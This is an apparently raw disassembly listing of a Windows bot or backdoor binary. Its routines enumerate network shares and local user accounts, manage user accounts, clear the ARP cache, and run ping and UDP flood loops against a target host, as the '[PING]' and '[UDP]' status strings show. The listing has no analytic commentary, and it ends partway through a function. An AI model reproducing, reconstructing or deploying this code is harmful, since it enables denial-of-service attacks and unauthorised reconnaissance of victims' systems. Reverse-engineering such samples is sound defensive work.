sub_4067C0	proc near		; CODE XREF: sub_4078FA+1D03p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_405F05
		xor	esi, esi
		push	esi
		push	[ebp+arg_8]
		mov	[ebp+var_10], eax
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		mov	[ebp+var_4], esi
		push	[ebp+arg_0]
		mov	[ebp+var_14], esi
		mov	[ebp+var_C], esi
		call	sub_4045DD
		add	esp, 18h


loc_4067F9:				; CODE XREF: sub_4067C0+10Dj
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	eax
		push	1F6h
		push	[ebp+var_10]
		call	dword_4335A0
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40685A
		cmp	ebx, 0EAh
		jz	short loc_40685A
		push	ebx
		call	sub_40649E
		push	eax
		lea	eax, [ebp+var_214]
		push	offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>"
		push	eax
		call	sub_412BB5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 24h
		jmp	short loc_4068C7
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_4067C0+5Dj
					; sub_4067C0+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_4], edi
		jb	short loc_4068BE
		mov	esi, [ebp+var_8]
		add	esi, 14h


loc_406868:				; CODE XREF: sub_4067C0+FAj
		push	dword ptr [esi+10h]
		call	dword_433598
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40687F
		mov	eax, offset aNo	; "No"


loc_40687F:				; CODE XREF: sub_4067C0+B8j
		push	eax
		push	dword ptr [esi]
		lea	eax, [ebp+var_214]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_412BB5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+var_4]
		jbe	short loc_406868
		xor	esi, esi


loc_4068BE:				; CODE XREF: sub_4067C0+A0j
		push	[ebp+var_8]
		call	dword_4334D8


loc_4068C7:				; CODE XREF: sub_4067C0+98j
		cmp	ebx, 0EAh
		jz	loc_4067F9
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4067C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068DF	proc near		; CODE XREF: sub_4078FA:loc_409672p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_406982
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_406921
		dec	eax
		jz	short loc_406916
		dec	eax
		jnz	short loc_40693C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_406938
; ---------------------------------------------------------------------------


loc_406916:				; CODE XREF: sub_4068DF+1Dj
		push	ebx
		push	edi
		call	sub_4060AF
		pop	ecx
		pop	ecx
		jmp	short loc_406938
; ---------------------------------------------------------------------------


loc_406921:				; CODE XREF: sub_4068DF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_406935
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_406055
		add	esp, 0Ch
		jmp	short loc_406938
; ---------------------------------------------------------------------------


loc_406935:				; CODE XREF: sub_4068DF+45j
		push	57h
		pop	eax


loc_406938:				; CODE XREF: sub_4068DF+35j
					; sub_4068DF+40j ...
		cmp	eax, edi
		jnz	short loc_40695C


loc_40693C:				; CODE XREF: sub_4068DF+20j
		push	ebx
		lea	eax, [esi+esi*2]
		push	off_42A3FC[eax*4]
		mov	esi, offset dword_433F28
		push	offset aNetSUsernameS_ ; "[NET]: %s username: '%s'."
		push	esi
		call	sub_412BB5
		add	esp, 10h
		jmp	short loc_4069A2
; ---------------------------------------------------------------------------


loc_40695C:				; CODE XREF: sub_4068DF+5Bj
		call	sub_40649E
		push	eax
		push	ebx
		lea	eax, [esi+esi*2]
		push	off_42A3F8[eax*4]
		mov	esi, offset dword_433F28
		push	offset aNetSErrorWithU ; "[NET]: %s: Error with	username: '%s'. %"...
		push	esi
		call	sub_412BB5
		add	esp, 14h
		jmp	short loc_4069A2
; ---------------------------------------------------------------------------


loc_406982:				; CODE XREF: sub_4068DF+Dj
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+eax*2]
		push	off_42A3F8[eax*4]
		mov	esi, offset dword_433F28
		push	offset aNetSNoUsername ; "[NET]: %s: No	username specified."
		push	esi
		call	sub_412BB5
		add	esp, 0Ch


loc_4069A2:				; CODE XREF: sub_4068DF+7Bj
					; sub_4068DF+A1j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4068DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4069A9	proc near		; CODE XREF: sub_4078FA+1DA5p

var_21C		= byte ptr -21Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		push	[ebp+arg_C]
		xor	esi, esi
		mov	[ebp+var_4], esi
		call	sub_405F05
		push	esi
		push	[ebp+arg_8]
		mov	[ebp+var_18], eax
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		push	[ebp+arg_4]
		mov	[ebp+var_8], esi
		push	[ebp+arg_0]
		mov	[ebp+var_14], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_C], esi
		call	sub_4045DD
		add	esp, 18h
		push	ebx


loc_4069E8:				; CODE XREF: sub_4069A9+129j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_4]
		push	eax
		push	2
		push	esi
		push	[ebp+var_18]
		call	dword_433480
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jz	short loc_406A47
		cmp	eax, 0EAh
		jz	short loc_406A47
		push	eax
		call	sub_40649E
		push	eax
		lea	eax, [ebp+var_21C]
		push	offset aNetUserListErr ; "[NET]: User list error: %s <%ld>"
		push	eax
		call	sub_412BB5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 24h
		jmp	short loc_406AB8
; ---------------------------------------------------------------------------


loc_406A47:				; CODE XREF: sub_4069A9+62j
					; sub_4069A9+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_406ACB
		xor	ebx, ebx
		cmp	[ebp+var_8], esi
		jbe	short loc_406AB8


loc_406A55:				; CODE XREF: sub_4069A9+E7j
		cmp	edi, esi
		lea	eax, [ebp+var_21C]
		jz	short loc_406A94
		push	dword ptr [edi]
		push	offset aS_2	; "  %S"
		push	eax
		call	sub_412BB5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_C]
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jb	short loc_406A55
		jmp	short loc_406AB8
; ---------------------------------------------------------------------------


loc_406A94:				; CODE XREF: sub_4069A9+B4j
		push	offset aNetAnAccessVio ; "[NET]: An access violation has occured."...
		push	eax
		call	sub_412BB5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 1Ch


loc_406AB8:				; CODE XREF: sub_4069A9+9Cj
					; sub_4069A9+AAj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_406ACB
		push	edi
		call	dword_4334D8
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_406ACB:				; CODE XREF: sub_4069A9+A3j
					; sub_4069A9+114j
		cmp	[ebp+var_10], 0EAh
		jz	loc_4069E8
		cmp	edi, esi
		pop	ebx
		jz	short loc_406AE4
		push	edi
		call	dword_4334D8


loc_406AE4:				; CODE XREF: sub_4069A9+132j
		push	[ebp+var_C]
		lea	eax, [ebp+var_21C]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_412BB5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_21C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_10], esi
		pop	edi
		setz	al
		pop	esi
		leave
		retn
sub_4069A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B1D	proc near		; CODE XREF: sub_4028A8+7Dp
					; sub_4038B7+4Ap ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_433514
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_406B45
		push	[esp+arg_0]
		call	dword_433500
		test	eax, eax
		jnz	short loc_406B3E
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_406B3E:				; CODE XREF: sub_406B1D+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_406B45:				; CODE XREF: sub_406B1D+Dj
		retn
sub_406B1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B46	proc near		; CODE XREF: sub_40779B+138p
		mov	ecx, dword_433584
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_406B54
		jmp	ecx
; ---------------------------------------------------------------------------

locret_406B54:				; CODE XREF: sub_406B46+Aj
		retn
sub_406B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_406B55	proc near		; CODE XREF: sub_4078FA:loc_40BA88p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 88h
		push	ebx
		push	esi
		xor	eax, eax
		push	edi
		inc	eax
		push	eax
		mov	[ebp+78h+var_4], eax
		lea	eax, [ebp+78h+var_8]
		xor	ebx, ebx
		push	eax
		push	ebx
		xor	esi, esi
		mov	[ebp+78h+var_8], ebx
		call	dword_4334AC
		mov	ecx, eax
		sub	ecx, ebx
		jz	short loc_406BE5
		sub	ecx, 32h
		jz	loc_406C2C
		sub	ecx, 48h
		jz	short loc_406BB0
		sub	ecx, 6Eh
		jz	short loc_406BA9


loc_406B95:				; CODE XREF: sub_406B55+8Ej
		push	eax
		lea	eax, [ebp+78h+var_88]
		push	offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP	cache: <%"...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_406C0D
; ---------------------------------------------------------------------------


loc_406BA9:				; CODE XREF: sub_406B55+3Ej
		push	offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache	is empty."
		jmp	short loc_406C02
; ---------------------------------------------------------------------------


loc_406BB0:				; CODE XREF: sub_406B55+39j
		push	[ebp+78h+var_8]
		call	sub_41344D
		pop	ecx
		mov	ecx, [ebp+78h+var_8]
		mov	edx, ecx
		mov	esi, eax
		shr	ecx, 2
		xor	eax, eax
		mov	edi, esi
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, ebx
		rep stosb
		jz	short loc_406BFD
		push	1
		lea	eax, [ebp+78h+var_8]
		push	eax
		push	esi
		call	dword_4334AC
		cmp	eax, ebx
		jnz	short loc_406B95


loc_406BE5:				; CODE XREF: sub_406B55+2Bj
		cmp	[esi], ebx
		jbe	short loc_406C1A
		lea	edi, [esi+4]


loc_406BEC:				; CODE XREF: sub_406B55+A4j
		push	edi
		call	dword_43350C
		inc	ebx
		add	edi, 18h
		cmp	ebx, [esi]
		jb	short loc_406BEC
		jmp	short loc_406C1A
; ---------------------------------------------------------------------------


loc_406BFD:				; CODE XREF: sub_406B55+7Dj
		push	offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to	allocation ARP ca"...


loc_406C02:				; CODE XREF: sub_406B55+59j
					; sub_406B55+DCj
		lea	eax, [ebp+78h+var_88]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_406C0D:				; CODE XREF: sub_406B55+52j
		lea	eax, [ebp+78h+var_88]
		push	eax
		mov	[ebp+78h+var_4], ebx
		call	sub_401C33
		pop	ecx


loc_406C1A:				; CODE XREF: sub_406B55+92j
					; sub_406B55+A6j
		push	esi
		call	sub_412FE4
		mov	eax, [ebp+78h+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 78h
		leave
		retn
; ---------------------------------------------------------------------------


loc_406C2C:				; CODE XREF: sub_406B55+30j
		push	offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
		jmp	short loc_406C02
sub_406B55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C33	proc near		; CODE XREF: sub_401141+21Bp
					; sub_401141+32Ap ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], 10h
		call	dword_433418
		movzx	eax, [ebp+var_D]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		mov	esi, offset dword_434128
		push	esi
		call	sub_412BB5
		add	esp, 18h
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_406C33	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C89	proc near		; CODE XREF: sub_41046C+437p
					; sub_41046C+48Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	edx, edx
		cmp	ecx, 1
		push	esi
		jle	short loc_406CB4
		lea	eax, [ecx-2]
		shr	eax, 1
		inc	eax
		mov	esi, eax
		neg	esi
		lea	ecx, [ecx+esi*2]
		mov	esi, [esp+4+arg_0]
		push	edi


loc_406CA7:				; CODE XREF: sub_406C89+26j
		movzx	edi, word ptr [esi]
		add	edx, edi
		inc	esi
		inc	esi
		dec	eax
		jnz	short loc_406CA7
		pop	edi
		jmp	short loc_406CB8
; ---------------------------------------------------------------------------


loc_406CB4:				; CODE XREF: sub_406C89+Aj
		mov	esi, [esp+4+arg_0]


loc_406CB8:				; CODE XREF: sub_406C89+29j
		test	ecx, ecx
		jz	short loc_406CC1
		movzx	eax, byte ptr [esi]
		add	edx, eax


loc_406CC1:				; CODE XREF: sub_406C89+31j
		mov	ecx, edx
		shr	ecx, 10h
		and	edx, 0FFFFh
		add	ecx, edx
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		pop	esi
		retn
sub_406C89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CD9	proc near		; DATA XREF: sub_4078FA+50A8o

var_10320	= byte ptr -10320h
var_344		= byte ptr -344h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		xor	ebx, ebx
		lea	edi, [ebp+var_144]
		rep movsd
		inc	ebx
		mov	[eax+120h], ebx
		call	dword_4334F0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_433514
		mov	esi, eax
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_406D32
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_433500
		test	eax, eax
		jz	short loc_406D38


loc_406D32:				; CODE XREF: sub_406CD9+46j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_406D96


loc_406D38:				; CODE XREF: sub_406CD9+57j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aPingErrorSendi ; "[PING]: Error	sending	pings to %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_28], 0
		jnz	short loc_406D7A
		push	0
		push	[ebp+var_2C]
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_4045DD
		add	esp, 14h


loc_406D7A:				; CODE XREF: sub_406CD9+7Ej
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_401C33
		push	[ebp+var_30]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	ebx
		jmp	loc_406E5B
; ---------------------------------------------------------------------------


loc_406D96:				; CODE XREF: sub_406CD9+5Dj
		test	eax, eax
		jz	short loc_406DA6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_406DA9
; ---------------------------------------------------------------------------


loc_406DA6:				; CODE XREF: sub_406CD9+BFj
		mov	[ebp+var_4], esi


loc_406DA9:				; CODE XREF: sub_406CD9+CBj
		push	7
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		cmp	[ebp+var_3C], eax
		jle	short loc_406DC4
		mov	[ebp+var_3C], eax


loc_406DC4:				; CODE XREF: sub_406CD9+E6j
		cmp	[ebp+var_38], ebx
		jge	short loc_406DCC
		mov	[ebp+var_38], ebx


loc_406DCC:				; CODE XREF: sub_406CD9+EEj
		xor	edi, edi
		xor	esi, esi
		cmp	[ebp+var_40], edi
		jle	short loc_406DFB


loc_406DD5:				; CODE XREF: sub_406CD9+120j
		push	[ebp+var_38]
		lea	eax, [ebp+var_20]
		push	1Ch
		push	eax
		push	edi
		push	[ebp+var_3C]
		lea	eax, [ebp+var_10320]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_433588
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_406DD5


loc_406DFB:				; CODE XREF: sub_406CD9+FAj
		push	[ebp+arg_0]
		call	dword_433524
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aPingFinishedSe ; "[PING]: Finished sending pings to %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_28], edi
		jnz	short loc_406E44
		push	edi
		push	[ebp+var_2C]
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		push	[ebp+var_144]
		call	sub_4045DD
		add	esp, 14h


loc_406E44:				; CODE XREF: sub_406CD9+149j
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_401C33
		push	[ebp+var_30]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	edi


loc_406E5B:				; CODE XREF: sub_406CD9+B8j
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_406CD9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E62	proc near		; DATA XREF: sub_4078FA+5201o

var_10316	= byte ptr -10316h
var_10314	= byte ptr -10314h
var_338		= byte ptr -338h
var_138		= dword	ptr -138h
var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10314h
		call	sub_412DD0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	49h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_138]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		call	ds:dword_41F004
		push	eax
		call	sub_412D64
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_4334A0
		mov	[ebp+var_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_14]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+var_B4]
		push	eax
		mov	[ebp+var_14], 2
		call	dword_433514
		xor	edi, edi
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_406F3D
		lea	eax, [ebp+var_B4]
		push	eax
		call	dword_433500
		mov	ecx, eax
		cmp	ecx, edi
		jnz	short loc_406F3D
		lea	eax, [ebp+var_B4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset aUdpErrorSendin ; "[UDP]: Error sending pings to	%s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_1C], edi
		jnz	short loc_406F21
		push	edi
		push	[ebp+var_20]
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_138]
		call	sub_4045DD
		add	esp, 14h


loc_406F21:				; CODE XREF: sub_406E62+9Dj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_401C33
		push	[ebp+var_24]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi
		jmp	loc_407076
; ---------------------------------------------------------------------------


loc_406F3D:				; CODE XREF: sub_406E62+6Aj
					; sub_406E62+7Dj
		cmp	[ebp+var_28], edi
		jge	short loc_406F45
		mov	[ebp+var_28], edi


loc_406F45:				; CODE XREF: sub_406E62+DEj
		mov	eax, 0FFFFh
		cmp	[ebp+var_28], eax
		jle	short loc_406F52
		mov	[ebp+var_28], eax


loc_406F52:				; CODE XREF: sub_406E62+EBj
		cmp	ecx, edi
		jz	short loc_406F5D
		mov	eax, [ecx+0Ch]
		mov	eax, [eax]
		jmp	short loc_406F60
; ---------------------------------------------------------------------------


loc_406F5D:				; CODE XREF: sub_406E62+F2j
		lea	eax, [ebp+arg_0]


loc_406F60:				; CODE XREF: sub_406E62+F9j
		cmp	[ebp+var_28], edi
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		jnz	short loc_406F7B
		call	sub_412D71
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_406F7E
; ---------------------------------------------------------------------------


loc_406F7B:				; CODE XREF: sub_406E62+106j
		push	[ebp+var_28]


loc_406F7E:				; CODE XREF: sub_406E62+117j
		call	dword_4335EC
		mov	[ebp+var_12], ax
		mov	eax, [ebp+var_34]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_2C], edi
		mov	[ebp+var_34], eax
		jnz	short loc_406F9C
		mov	[ebp+var_2C], esi


loc_406F9C:				; CODE XREF: sub_406E62+135j
		xor	esi, esi
		cmp	[ebp+var_30], edi
		jle	short loc_407017


loc_406FA3:				; CODE XREF: sub_406E62+159j
		call	sub_412D71
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_30]
		mov	[ebp+esi-10315h], dl
		jl	short loc_406FA3
		jmp	short loc_407017
; ---------------------------------------------------------------------------


loc_406FBF:				; CODE XREF: sub_406E62+1B8j
		dec	[ebp+var_34]
		push	0Bh
		pop	esi


loc_406FC5:				; CODE XREF: sub_406E62+195j
		push	10h
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	sub_412D71
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_30]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10314]
		push	eax
		push	[ebp+var_4]
		call	dword_433470
		push	[ebp+var_2C]
		call	ds:dword_41F000
		dec	esi
		jnz	short loc_406FC5
		cmp	[ebp+var_28], edi
		jnz	short loc_407017
		call	sub_412D71
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	dword_4335EC
		mov	[ebp+var_12], ax


loc_407017:				; CODE XREF: sub_406E62+13Fj
					; sub_406E62+15Bj ...
		cmp	[ebp+var_34], edi
		jg	short loc_406FBF
		dec	[ebp+var_34]
		lea	eax, [ebp+var_B4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_1C], edi
		jnz	short loc_40705F
		push	edi
		push	[ebp+var_20]
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_134]
		push	eax
		push	[ebp+var_138]
		call	sub_4045DD
		add	esp, 14h


loc_40705F:				; CODE XREF: sub_406E62+1DBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_401C33
		push	[ebp+var_24]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	edi


loc_407076:				; CODE XREF: sub_406E62+D6j
		call	ds:dword_41F014


loc_40707C:				; DATA XREF: .data:0042BBE4o
					; .data:0042BBF8o ...
		int	3		; Trap to Debugger
sub_406E62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40707D	proc near		; CODE XREF: sub_4058F3+7p
					; sub_4070E8+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	ds:dword_41F0B4
		push	eax
		call	dword_4335D4
		test	eax, eax
		jnz	short loc_40709C
		leave
		retn
; ---------------------------------------------------------------------------


loc_40709C:				; CODE XREF: sub_40707D+1Bj
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+arg_0]
		xor	esi, esi
		push	esi
		call	dword_4335BC
		test	eax, eax
		jz	short loc_4070DA
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_4070C3
		or	[ebp+var_8], 2
		jmp	short loc_4070C7
; ---------------------------------------------------------------------------


loc_4070C3:				; CODE XREF: sub_40707D+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_4070C7:				; CODE XREF: sub_40707D+44j
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_433508
		mov	esi, eax


loc_4070DA:				; CODE XREF: sub_40707D+32j
		push	[ebp+var_4]
		call	ds:dword_41F034
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40707D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4070E8	proc near		; CODE XREF: sub_4073FB+68p
					; sub_4074FD+Cp ...

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	49h
		xor	eax, eax
		cmp	dword_433490, ebx
		pop	ecx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_4072F9
